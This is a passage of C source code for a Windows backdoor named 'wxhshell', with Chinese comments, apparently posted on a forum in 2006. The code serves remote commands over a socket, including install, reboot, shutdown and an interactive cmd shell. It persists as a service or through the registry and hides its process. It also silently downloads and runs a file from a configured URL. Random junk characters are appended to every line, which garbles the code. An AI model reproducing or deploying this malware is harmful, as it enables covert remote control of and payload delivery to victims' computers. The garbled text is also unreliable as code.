  // 帮助 eqZ V/a  
  case '?': { i0v;mc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2%. A{!  
    break; x`WP*a7Fk]  
  } vCFMO3  
  // 安装 iNe;h|  
  case 'i': { Eu l,1yR  
    if(Install()) '.c [7zL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PUuxKW}  
    else d2Z5HFtY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PL@hsZty~c  
    break; CJz2.yd  
    } l"W9uS;\T  
  // 卸载 plh.-"   
  case 'r': { W.r0W2))(  
    if(Uninstall()) |j^^ *z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); po4seW!  
    else Mi%i_T^i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M/EEoK^K@  
    break; Nv,1F  
    } 3%bCv_6B  
  // 显示 wxhshell 所在路径 B: \\aOEj  
  case 'p': { EeIV6ug  
    char svExeFile[MAX_PATH]; ^ r-F@$:.  
    strcpy(svExeFile,"\n\r"); P(l$5x]g,  
      strcat(svExeFile,ExeFile); 64%P}On  
        send(wsh,svExeFile,strlen(svExeFile),0); :1^ R$0d  
    break; uUB,OmLN  
    } )e d5~ok  
  // 重启 [<\k  
  case 'b': { qsOA(+ZP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Se.\wkl#Y  
    if(Boot(REBOOT)) DzydS=`w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # ` Q3Z}C  
    else { Bi;D d?.  
    closesocket(wsh); )_k"_VVcC  
    ExitThread(0); ELfcZfJ  
    } b#`XmB  
    break; 4wjy)VD_  
    } 4y\qJw)~U  
  // 关机 mFfw*,M  
  case 'd': { 4[m})X2(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7?!A~Seo|  
    if(Boot(SHUTDOWN)) i8iv{e2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -sO[,  
    else { Dk8 O*B   
    closesocket(wsh); $0$'co"  
    ExitThread(0); ^0)Mc"&{  
    } HK&Ul=^VN|  
    break; *j5>2-C &  
    } O<7Q>m  
  // 获取shell -AnQZy  
  case 's': { POvxZU  
    CmdShell(wsh); p)6!GdT  
    closesocket(wsh); [Jv0^"]  
    ExitThread(0); BIGln`;,f  
    break; G&,1 NjSi  
  } [.J&@96,b  
  // 退出 j/.$ (E   
  case 'x': { L7i2is  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DrI"YX  
    CloseIt(wsh); ^*s DJ #  
    break; YnM&t ;TX  
    } .#^ta9^t7  
  // 离开 SnIH6k0T_  
  case 'q': { S!+c1q: ].  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LGnb"ZN  
    closesocket(wsh); q4u,pm,@  
    WSACleanup(); :j(e+A1@  
    exit(1); #IJm*_J<  
    break; pK`1pfih  
        } 6/-]  
  } bn 7"!6  
  } M3XG s|gw  
8;PS>9<  
  // 提示信息 Z9 z!YaOL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G5WQTMzf&  
} 5(wmy-x\  
  } $4>(}  
4X-"yQ<U  
  return; -VZn`6%s  
} S?b^g'5m  
4^r4O#  
// shell模块句柄 LTZ8Eu  
int CmdShell(SOCKET sock) LNz  
{ |>^5G@e  
STARTUPINFO si; #ovausK[7  
ZeroMemory(&si,sizeof(si)); @h&:xA56  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2[Ofa(mkkp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P"(VRc6x  
PROCESS_INFORMATION ProcessInfo; V0)bPcS/  
char cmdline[]="cmd"; O2pntKI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l4s*+H$vd?  
  return 0; SFu]*II;{  
} 2jf73$F  
&Fiesi!tET  
// 自身启动模式 _:N=  
int StartFromService(void) /0Jf/-}ovn  
{ HVJqDF  
typedef struct @T"-%L8PL  
{ F50l->F2&  
  DWORD ExitStatus; &k@\k<2Ia  
  DWORD PebBaseAddress; c@E;v<r'  
  DWORD AffinityMask; lw]uH<v  
  DWORD BasePriority; M(^_/ 1Z  
  ULONG UniqueProcessId; hW!2C6  
  ULONG InheritedFromUniqueProcessId; aD(3.=[R  
}   PROCESS_BASIC_INFORMATION; yk0tA  
{q/;G!ON.S  
PROCNTQSIP NtQueryInformationProcess; 216`rQ}z  
yhkKakg,)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YQ$LU \:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jY2mn".N  
_1?nLx7n  
  HANDLE             hProcess; M }! qH.W  
  PROCESS_BASIC_INFORMATION pbi; "{S6iH)]8  
BM~6P|&qD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  bUsX~R-  
  if(NULL == hInst ) return 0; EI9;J-c  
hj=qWGRgI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g~ii^[W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p,V%wGM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }S$OE))u  
:GN++\ 1pw  
  if (!NtQueryInformationProcess) return 0; o}&{Y2!x  
sf0\#Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NQGa=kXeJ  
  if(!hProcess) return 0; S"VO@)d  
67;6nXG0K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C B`7KK  
HzKY2F(,  
  CloseHandle(hProcess); zeuj  
m2"e ]I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I#M>b:"t e  
if(hProcess==NULL) return 0; |6b~c{bt  
$H[q5(_~  
HMODULE hMod; L'S,=NYXY  
char procName[255]; :{ZwzJ  
unsigned long cbNeeded; KK #E qJ  
e3W~6P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nDX Em6|e  
GF8wKx#J  
  CloseHandle(hProcess); D>7J[ Yxg-  
kyvl>I0q@  
if(strstr(procName,"services")) return 1; // 以服务启动 k_,& Q?GtU  
e2N K7  
  return 0; // 注册表启动 \.O&-oi  
} bKGX> %-  
P "IR3=  
// 主模块 % g  
int StartWxhshell(LPSTR lpCmdLine) isd-b]@:Lc  
{ ;*<R~HJt  
  SOCKET wsl; w6cl3J&  
BOOL val=TRUE; 4F G0'J&hw  
  int port=0; n`&D_AbQ  
  struct sockaddr_in door; T9w=k)  
.4[3r[  
  if(wscfg.ws_autoins) Install(); } v:YSG  
1J/'R37lP  
port=atoi(lpCmdLine); h2f8-}fsq  
7]zZdqG&p`  
if(port<=0) port=wscfg.ws_port; 6{ ]F#ig=  
dB[4NT  
  WSADATA data; EG3,TuDH8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rh|9F yN  
`sT;\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G Ixs>E'X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *$-X&.h[  
  door.sin_family = AF_INET; Wy7w zt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;Go^)bN ;  
  door.sin_port = htons(port); gtu<#h(  
}rfikm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ApeqbD5g&  
closesocket(wsl); px K&aY8  
return 1; mXp#6'a  
} rN} 8~j  
ftxL-7y%  
  if(listen(wsl,2) == INVALID_SOCKET) { d2#NRqgQ  
closesocket(wsl); uW!XzX['  
return 1; oc( '!c  
} D/."0 #q  
  Wxhshell(wsl); H)D|lt5xy  
  WSACleanup(); jjj<B'zt  
Tt)z[^)%  
return 0; p  lnH  
/_qq(,3  
} ~ #3{5* M  
>z\IO  
// 以NT服务方式启动 W34xrm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zx}+Q B0  
{ 3?*d v14  
DWORD   status = 0; <3B^5p\/  
  DWORD   specificError = 0xfffffff; ]64}Xob87_  
Mc@9ivwL#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uH9Vj<E$K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NLMvi!5w,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uxU-N  
  serviceStatus.dwWin32ExitCode     = 0; }Kgi!$<aQx  
  serviceStatus.dwServiceSpecificExitCode = 0; H<_Tn$<zH.  
  serviceStatus.dwCheckPoint       = 0; O0#[hY,  
  serviceStatus.dwWaitHint       = 0; 7 <^+)DsS?  
s0?'mC+p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5eori8gr7  
  if (hServiceStatusHandle==0) return; dRron_'  
@ar%`+_  
status = GetLastError(); Zt3sU_  
  if (status!=NO_ERROR) et 1HbX  
{ '\#q7YjaL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QAV6{QShj  
    serviceStatus.dwCheckPoint       = 0; 3<r7"/5  
    serviceStatus.dwWaitHint       = 0; PK:Lv15"r  
    serviceStatus.dwWin32ExitCode     = status; g9pKoi|\E  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~JL qh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F+H]{ss>  
    return; d%P2V>P  
  } C|&tdh :g  
lm4A%4-db  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MeBTc&S<  
  serviceStatus.dwCheckPoint       = 0; *LB-V%{|'  
  serviceStatus.dwWaitHint       = 0; 7He"IJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]eGa_Ld  
} ?_gvI  
:g|.x  
// 处理NT服务事件,比如:启动、停止 R@3HlGuRKw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yf:0u_&]  
{ 1!1JT;gG^9  
switch(fdwControl) Eg`~mE+a  
{ bra2xHK@  
case SERVICE_CONTROL_STOP: #-B<u-  
  serviceStatus.dwWin32ExitCode = 0; h~#F2#.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,5c7jZ5H  
  serviceStatus.dwCheckPoint   = 0; `?$-T5Rr  
  serviceStatus.dwWaitHint     = 0; QwhO /  
  { 4xW~@m eNB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VjWJx^ZL#  
  } uY~mi9E  
  return; _ooHB>sH  
case SERVICE_CONTROL_PAUSE: ]  & ]G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D/=05E%[81  
  break; t_Eivm-,B  
case SERVICE_CONTROL_CONTINUE: ,.P]5 lE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m%J?5rR3  
  break; z!6_u@^-  
case SERVICE_CONTROL_INTERROGATE: bnfeZR1m_  
  break; \/1~5mQ+  
}; PNAvT$0LaZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); my sXgS&S  
} xCL)<8[R,}  
s&ox%L4  
// 标准应用程序主函数 *m "@*O'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vltE2mb  
{ 3)VO{Cj!  
Qf0P"s`  
// 获取操作系统版本 <IR@/b!,  
OsIsNt=GetOsVer(); kVtP~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nycJZ}f:wP  
Eo$l-Hl5=  
  // 从命令行安装 %rs2{Q2k  
  if(strpbrk(lpCmdLine,"iI")) Install(); [5xm>Y&}  
a'` i#U  
  // 下载执行文件 <6]Hj2  
if(wscfg.ws_downexe) { MDa[bQ NM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u*l>)_HD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7V=deYt_p  
} qX5]\nX&G  
TCzz]?G]la  
if(!OsIsNt) {  e#5WX  
// 如果时win9x,隐藏进程并且设置为注册表启动 dh]Hf,OLF  
HideProc(); mu0L_u(P  
StartWxhshell(lpCmdLine); K'8o'S_bF  
} %zc.b  
else hK4ww"-  
  if(StartFromService()) @I Y<i5(  
  // 以服务方式启动 n)cc\JPQ  
  StartServiceCtrlDispatcher(DispatchTable); :6C R~p  
else :fX61S6)  
  // 普通方式启动 )`k+Oyvi<  
  StartWxhshell(lpCmdLine); Pi[]k]XA\  
\zVp8MMf  
return 0; 7g8\q@',  
}
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只看该作者 1 发表于: 2006-10-10
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